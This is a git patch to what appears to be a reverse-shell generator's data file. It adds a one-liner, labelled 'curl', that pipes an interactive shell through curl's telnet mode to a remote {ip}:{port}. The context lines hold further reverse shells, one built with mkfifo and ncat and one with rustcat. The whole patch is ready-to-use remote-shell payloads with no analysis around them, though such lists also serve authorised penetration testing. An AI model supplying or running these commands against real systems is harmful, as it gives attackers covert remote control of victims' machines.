From 049ce74bb588681f67383475f9d3a9028c8348fc Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?S=C3=A9bastien=20Copin?= Date: Wed, 11 Oct 2023 14:04:24 +0200 Subject: [PATCH] Add curl reverse shell --- js/data.js | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/js/data.js b/js/data.js index 9c42cc2..1458029 100644 --- a/js/data.js +++ b/js/data.js @@ -86,6 +86,11 @@ const reverseShellCommands = withCommandType( "command": "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|{shell} -i 2>&1|ncat -u {ip} {port} >/tmp/f", "meta": ["linux", "mac"] }, + { + "name": "curl", + "command": "C='curl -Ns telnet://{ip}:{port}'; $C &1 | {shell} 2>&1 | $C >/dev/null", + "meta": ["linux", "mac"] + }, { "name": "rustcat", "command": "rcat connect -s {shell} {ip} {port}",